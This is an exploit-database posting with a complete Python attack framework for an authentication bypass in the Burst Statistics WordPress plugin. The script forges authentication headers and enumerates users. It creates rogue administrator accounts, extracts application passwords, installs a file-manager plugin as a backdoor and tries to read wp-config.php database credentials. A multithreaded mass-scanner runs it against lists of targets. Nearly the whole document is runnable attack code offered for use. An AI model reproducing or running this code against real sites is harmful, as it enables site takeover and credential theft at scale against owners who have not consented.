Share
## https://sploitus.com/exploit?id=PACKETSTORM:222846
==================================================================================================================================
    | # Title     : WordPress 3.4.1.1 Burst Statistics Auth Bypass to Admin Takeover                                                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/burst-statistics/                                                                  |
    ==================================================================================================================================
    
    [+] Summary    : This Python script is a multi-component exploitation framework targeting an authentication bypass vulnerability in a WordPress plugin environment, 
                     designed to automate discovery, validation, and privilege escalation workflows.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import argparse
    import base64
    import json
    import random
    import string
    import sys
    import urllib3
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    try:
        import requests
    except ImportError:
        print("[!] requests library required: pip3 install requests")
        sys.exit(1)
    
    BANNER = """
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘  CVE-2026-8181 - Burst Statistics Auth Bypass to Admin Takeover              โ•‘
    โ•‘           Affected: 3.4.0 - 3.4.1.1 | By indoushka                           โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    
    class Colors:
        RED = '\033[91m'
        GREEN = '\033[92m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        MAGENTA = '\033[95m'
        CYAN = '\033[96m'
        WHITE = '\033[97m'
        RESET = '\033[0m'
        BOLD = '\033[1m'
    
    class BurstExploit:
        def __init__(self, target_url, admin_username=None, verify_ssl=False, timeout=15, output_file=None):
            self.target = target_url.rstrip('/')
            self.admin_user = admin_username
            self.verify = verify_ssl
            self.timeout = timeout
            self.output_file = output_file
            self.session = requests.Session()
            self.session.verify = verify_ssl
            self.session.headers.update({
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            })
            self.vulnerable = False
            self.discovered_users = []
    
        def log(self, level, msg):
            colors = {
                "info": Colors.BLUE, "ok": Colors.GREEN, "warn": Colors.YELLOW,
                "fail": Colors.RED, "critical": Colors.MAGENTA, "success": Colors.CYAN
            }
            prefix = {"info": "[*]", "ok": "[+]", "warn": "[!]", "fail": "[-]", "critical": "[!!!]", "success": "[โœ“]"}
            print(f"{colors.get(level, Colors.WHITE)}{prefix.get(level, '[?]')} {msg}{Colors.RESET}")
            
            if self.output_file and level in ["ok", "success", "critical"]:
                with open(self.output_file, 'a') as f:
                    f.write(f"{msg}\n")
    
        def _make_request(self, method, url, headers=None, data=None, json_data=None):
            """Make HTTP request with error handling"""
            try:
                return self.session.request(
                    method, url, headers=headers, json=json_data, data=data,
                    timeout=self.timeout, allow_redirects=False
                )
            except requests.exceptions.Timeout:
                self.log("warn", f"Timeout connecting to {url}")
            except requests.exceptions.ConnectionError:
                self.log("warn", f"Connection error to {url}")
            except Exception as e:
                self.log("warn", f"Request error: {str(e)[:50]}")
            return None
    
        def get_rest_url(self, route):
            """Build REST API URL with fallback for pretty permalinks"""
    
            resp = self._make_request("GET", f"{self.target}/wp-json")
            if resp and resp.status_code == 200:
                return f"{self.target}/wp-json{route}"
            return f"{self.target}/?rest_route={route}"
    
        def build_bypass_headers(self, username):
            """Construct headers that trigger the authentication bypass"""
            fake_creds = base64.b64encode(f"{username}:bypass_CVE_2026_8181".encode()).decode()
            return {
                "X-BURSTMAINWP": "1",
                "Authorization": f"Basic {fake_creds}",
                "Content-Type": "application/json",
                "X-Requested-With": "XMLHttpRequest"
            }
    
        def check_wordpress(self):
            """Verify target is running WordPress"""
            self.log("info", f"Checking {self.target} for WordPress...")
    
            resp = self._make_request("GET", self.target)
            if not resp:
                return False
                
            indicators = ["wp-content", "wp-includes", "wordpress", "generator\" content=\"WordPress"]
            for ind in indicators:
                if ind.lower() in resp.text.lower():
                    self.log("ok", "WordPress detected")
                    return True
    
            rest_resp = self._make_request("GET", f"{self.target}/wp-json")
            if rest_resp and rest_resp.status_code == 200:
                self.log("ok", "WordPress REST API detected")
                return True
                
            self.log("warn", "Could not confirm WordPress installation")
            return False
    
        def check_burst_statistics(self):
            """Detect Burst Statistics plugin and version"""
            self.log("info", "Checking for Burst Statistics plugin...")
    
            resp = self._make_request("GET", f"{self.target}/wp-content/plugins/burst-statistics/readme.txt")
            if resp and resp.status_code == 200:
                for line in resp.text.split('\n'):
                    if "stable tag:" in line.lower():
                        version = line.split(':')[-1].strip()
                        self.log("ok", f"Burst Statistics version: {version}")
                        if version in ["3.4.0", "3.4.1", "3.4.1.1"]:
                            self.log("critical", f"VERSION {version} IS VULNERABLE!")
                            self.vulnerable = True
                            return version
                        else:
                            self.log("warn", f"Version {version} not in vulnerable range (3.4.0-3.4.1.1)")
                            return version
    
            resp = self._make_request("GET", f"{self.target}/wp-content/plugins/burst-statistics/assets/js/build/burst.min.js")
            if resp and resp.status_code == 200:
                self.log("ok", "Burst Statistics plugin detected (version unknown)")
                return "unknown"
                
            self.log("warn", "Burst Statistics not detected or not accessible")
            return None
    
        def enumerate_users(self):
            """Enumerate WordPress users via multiple methods"""
            self.log("info", "Enumerating WordPress users...")
            usernames = set()
    
            resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/users")
            if resp and resp.status_code == 200:
                try:
                    users = resp.json()
                    if isinstance(users, list):
                        for user in users:
                            slug = user.get('slug', '')
                            name = user.get('name', '')
                            if slug:
                                usernames.add(slug)
                                self.log("ok", f"Found: {slug} (ID: {user.get('id')})")
                except:
                    pass
    
            for i in range(1, 15):
                resp = self._make_request("GET", f"{self.target}/?author={i}")
                if resp and resp.status_code in [301, 302]:
                    location = resp.headers.get('Location', '')
                    if '/author/' in location:
                        username = location.split('/author/')[-1].rstrip('/')
                        if username and username not in ['', 'admin']:
                            usernames.add(username)
                            self.log("ok", f"Found via author enum: {username}")
    
            resp = self._make_request("GET", f"{self.target}/wp-json/oembed/1.0/embed?url={self.target}")
            if resp and resp.status_code == 200:
                try:
                    data = resp.json()
                    if 'author_name' in data:
                        usernames.add(data['author_name'])
                        self.log("ok", f"Found via oEmbed: {data['author_name']}")
                except:
                    pass
            
            if not usernames:
                default_users = ['admin', 'administrator', 'wordpress', 'wpadmin', 'root']
                if self.admin_user:
                    default_users.insert(0, self.admin_user)
                usernames = set(default_users)
                self.log("warn", f"Using default usernames: {', '.join(usernames)}")
            
            self.discovered_users = list(usernames)
            return self.discovered_users
    
        def test_auth_bypass(self, username):
            """Test if authentication bypass works for a given username"""
            self.log("info", f"Testing bypass with username: {username}")
            headers = self.build_bypass_headers(username)
    
            resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/users/me?context=edit", headers=headers)
            if resp and resp.status_code == 200:
                try:
                    data = resp.json()
                    if data.get('id', 0) > 0:
                        self.log("success", f"BYPASS SUCCESSFUL! Authenticated as: {data.get('name', username)} (ID: {data['id']})")
                        self.log("ok", f"Email: {data.get('email', 'N/A')}")
                        self.log("ok", f"Roles: {', '.join(data.get('roles', []))}")
                        return data
                except:
                    pass
    
            resp = self._make_request("POST", f"{self.target}/wp-json/burst/v1/mainwp-auth", 
                                       headers=headers, json_data={})
            if resp and resp.status_code == 200:
                try:
                    data = resp.json()
                    if 'token' in data:
                        self.log("success", "Bypass confirmed via mainwp-auth endpoint!")
                        return data
                except:
                    pass
            
            if resp:
                self.log("fail", f"Bypass failed for {username} (HTTP {resp.status_code})")
            return None
    
        def create_admin_user(self, username, custom_user=None, custom_pass=None):
            """Create new WordPress administrator account"""
            new_user = custom_user or f"sec_{''.join(random.choices(string.ascii_lowercase, k=6))}"
            new_pass = custom_pass or ''.join(random.choices(string.ascii_letters + string.digits + "!@#$%^&*", k=20))
            new_email = f"{new_user}@localhost.local"
            
            self.log("info", f"Creating admin account: {new_user}")
            headers = self.build_bypass_headers(username)
            
            payload = {
                "username": new_user,
                "password": new_pass,
                "email": new_email,
                "roles": ["administrator"],
                "name": new_user,
                "description": "Created via CVE-2026-8181"
            }
            
            resp = self._make_request("POST", f"{self.target}/wp-json/wp/v2/users", 
                                       headers=headers, json_data=payload)
            
            if resp and resp.status_code in [200, 201]:
                try:
                    data = resp.json()
                    if data.get('id'):
                        self.log("critical", "=" * 60)
                        self.log("success", "NEW ADMIN ACCOUNT CREATED!")
                        self.log("ok", f"Username: {new_user}")
                        self.log("ok", f"Password: {new_pass}")
                        self.log("ok", f"Email:    {new_email}")
                        self.log("ok", f"User ID:  {data['id']}")
                        self.log("ok", f"Login:    {self.target}/wp-admin/")
                        self.log("critical", "=" * 60)
                        return {"username": new_user, "password": new_pass, "email": new_email, "id": data['id']}
                except:
                    pass
            
            self.log("fail", "Failed to create admin user")
            return None
    
        def get_app_password(self, username):
            """Obtain persistent Application Password"""
            self.log("info", "Attempting to obtain Application Password...")
            headers = self.build_bypass_headers(username)
            
            resp = self._make_request("POST", f"{self.target}/wp-json/burst/v1/mainwp-auth", 
                                       headers=headers, json_data={})
            
            if resp and resp.status_code == 200:
                try:
                    data = resp.json()
                    if 'token' in data:
                        token = data['token']
                        try:
                            decoded = base64.b64decode(token).decode()
                            if ':' in decoded:
                                cred_user, cred_pass = decoded.split(':', 1)
                                self.log("success", "Application Password obtained!")
                                self.log("ok", f"Username: {cred_user}")
                                self.log("ok", f"Password: {cred_pass}")
                                return {"username": cred_user, "password": cred_pass, "token": token}
                        except:
                            self.log("ok", f"Token: {token[:50]}...")
                            return {"token": token}
                except:
                    pass
            
            self.log("warn", "Could not obtain Application Password")
            return None
    
        def install_plugin(self, username, plugin_slug="wp-file-manager"):
            """Attempt to install a plugin as admin"""
            self.log("info", f"Attempting to install plugin: {plugin_slug}")
            headers = self.build_bypass_headers(username)
    
            resp = self._make_request("GET", f"{self.target}/wp-json/wp/v2/plugins", headers=headers)
            if not resp or resp.status_code != 200:
                self.log("warn", "Cannot access plugins endpoint")
                return None
            payload = {"slug": plugin_slug, "status": "active"}
            resp = self._make_request("POST", f"{self.target}/wp-json/wp/v2/plugins", 
                                       headers=headers, json_data=payload)
            
            if resp and resp.status_code in [200, 201]:
                self.log("success", f"Plugin {plugin_slug} installed successfully!")
                return True
            
            self.log("warn", f"Could not install plugin {plugin_slug}")
            return False
    
        def set_wp_config(self, username):
            """Attempt to read wp-config.php (if accessible)"""
            headers = self.build_bypass_headers(username)
    
            paths = ['wp-config.php', '../wp-config.php', '../../wp-config.php']
            for path in paths:
                resp = self._make_request("GET", f"{self.target}/{path}", headers=headers)
                if resp and resp.status_code == 200 and 'DB_NAME' in resp.text:
                    self.log("critical", "FOUND WP-CONFIG.PHP!")
    
                    for line in resp.text.split('\n'):
                        if any(x in line for x in ['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST', 'AUTH_KEY']):
                            if 'define' in line and ')' in line:
                                self.log("ok", line.strip())
                    return resp.text
            
            self.log("warn", "Could not access wp-config.php")
            return None
    
        def run_full_exploit(self, create_admin=True, install_backdoor=False, steal_config=False):
            """Execute complete exploit chain"""
            print(BANNER)
            self.log("info", f"Target: {self.target}")
    
            if not self.check_wordpress():
                self.log("fail", "Target does not appear to be WordPress")
                return None
            version = self.check_burst_statistics()
            if not self.vulnerable and version and version not in ["3.4.0", "3.4.1", "3.4.1.1", "unknown"]:
                self.log("warn", f"Version {version} may not be vulnerable")
                self.log("info", "Proceeding with exploit attempt anyway...")
    
            usernames = self.enumerate_users()
            print()
    
            for username in usernames:
                result = self.test_auth_bypass(username)
                if result:
                    self.log("critical", f"SUCCESS! Exploited with username: {username}")
    
                    print()
                    app_pw = self.get_app_password(username)
    
                    if create_admin:
                        print()
                        new_admin = self.create_admin_user(username)
                        if new_admin:
                            return new_admin
    
                    if install_backdoor:
                        print()
                        self.install_plugin(username)
    
                    if steal_config:
                        print()
                        self.set_wp_config(username)
                    
                    return {"bypassed": True, "username": username, "app_password": app_pw}
            
            self.log("fail", "Exploit failed - target may be patched or protected")
            return None
    
    
    class MassScanner:
        def __init__(self, threads=50, timeout=15, output_file="vulnerable_targets.txt"):
            self.threads = threads
            self.timeout = timeout
            self.output_file = output_file
            self.vulnerable = []
        
        def scan_target(self, target_url):
            """Scan single target for vulnerability"""
            try:
                exploit = BurstExploit(target_url, timeout=self.timeout, verify_ssl=False)
                if exploit.check_wordpress():
                    version = exploit.check_burst_statistics()
                    if exploit.vulnerable:
                        for username in ['admin', 'administrator']:
                            if exploit.test_auth_bypass(username):
                                return {"url": target_url, "vulnerable": True, "username": username, "version": version}
                return {"url": target_url, "vulnerable": False}
            except Exception as e:
                return {"url": target_url, "vulnerable": False, "error": str(e)[:50]}
        
        def scan_from_file(self, file_path):
            """Scan multiple targets from file"""
            with open(file_path, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
            
            self.log("info", f"Loaded {len(targets)} targets, scanning with {self.threads} threads")
            
            with ThreadPoolExecutor(max_workers=self.threads) as executor:
                futures = {executor.submit(self.scan_target, target): target for target in targets}
                
                for future in as_completed(futures):
                    result = future.result()
                    if result.get('vulnerable'):
                        self.log("success", f"VULNERABLE: {result['url']} (user: {result.get('username')})")
                        with open(self.output_file, 'a') as f:
                            f.write(f"{result['url']} - {result.get('username')} - {result.get('version')}\n")
        
        def log(self, level, msg):
            colors = {"info": Colors.BLUE, "success": Colors.GREEN}
            print(f"{colors.get(level, Colors.WHITE)}[*] {msg}{Colors.RESET}")
    
    
    def interactive_mode():
        """Interactive exploit mode"""
        print(BANNER)
        print(Colors.CYAN + "\nInteractive Exploit Mode\n" + Colors.RESET)
        
        target = input(Colors.YELLOW + "[?] Target URL (http://example.com): " + Colors.RESET).strip()
        if not target.startswith('http'):
            target = 'http://' + target
        
        username = input(Colors.YELLOW + "[?] Admin username (press Enter to enumerate): " + Colors.RESET).strip() or None
        
        exploit = BurstExploit(target, admin_username=username, verify_ssl=False)
    
        if not exploit.check_wordpress():
            print(Colors.RED + "[-] Not a WordPress site!" + Colors.RESET)
            return
        print()
        result = exploit.run_full_exploit(create_admin=True)
        
        if result:
            print(Colors.GREEN + "\n[+] Exploit completed successfully!" + Colors.RESET)
        else:
            print(Colors.RED + "\n[-] Exploit failed!" + Colors.RESET)
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-8181 - Burst Statistics Authentication Bypass to Admin Takeover",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        
        parser.add_argument("-u", "--url", help="Target WordPress URL")
        parser.add_argument("-U", "--username", default="admin", help="Admin username (default: admin)")
        parser.add_argument("--create-user", action="store_true", help="Create new admin account")
        parser.add_argument("--new-user", help="Custom username for new admin account")
        parser.add_argument("--new-pass", help="Custom password for new admin account")
        parser.add_argument("--install-plugin", help="Install a plugin (slug, e.g., wp-file-manager)")
        parser.add_argument("--steal-config", action="store_true", help="Attempt to read wp-config.php")
        parser.add_argument("-k", "--insecure", action="store_true", help="Skip SSL verification")
        parser.add_argument("-t", "--timeout", type=int, default=15, help="Request timeout")
        parser.add_argument("-o", "--output", help="Output file for results")
        parser.add_argument("-l", "--list", help="File containing list of targets (one per line)")
        parser.add_argument("--threads", type=int, default=50, help="Threads for mass scan (default: 50)")
        parser.add_argument("-i", "--interactive", action="store_true", help="Interactive mode")
        
        args = parser.parse_args()
        
        if args.interactive:
            interactive_mode()
            return
        
        if args.list:
            scanner = MassScanner(threads=args.threads, output_file=args.output or "vulnerable_targets.txt")
            scanner.scan_from_file(args.list)
            return
        
        if not args.url:
            parser.print_help()
            sys.exit(1)
        
        exploit = BurstExploit(
            target_url=args.url,
            admin_username=args.username,
            verify_ssl=not args.insecure,
            timeout=args.timeout,
            output_file=args.output
        )
        
        result = exploit.run_full_exploit(
            create_admin=args.create_user,
            install_backdoor=bool(args.install_plugin),
            steal_config=args.steal_config
        )
        
        if result and args.create_user and args.new_user:
            exploit.create_admin_user(args.username, args.new_user, args.new_pass)
        
        if result and args.install_plugin:
            exploit.install_plugin(args.username, args.install_plugin)
        
        if result and args.steal_config:
            exploit.set_wp_config(args.username)
        
        sys.exit(0 if result else 1)
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================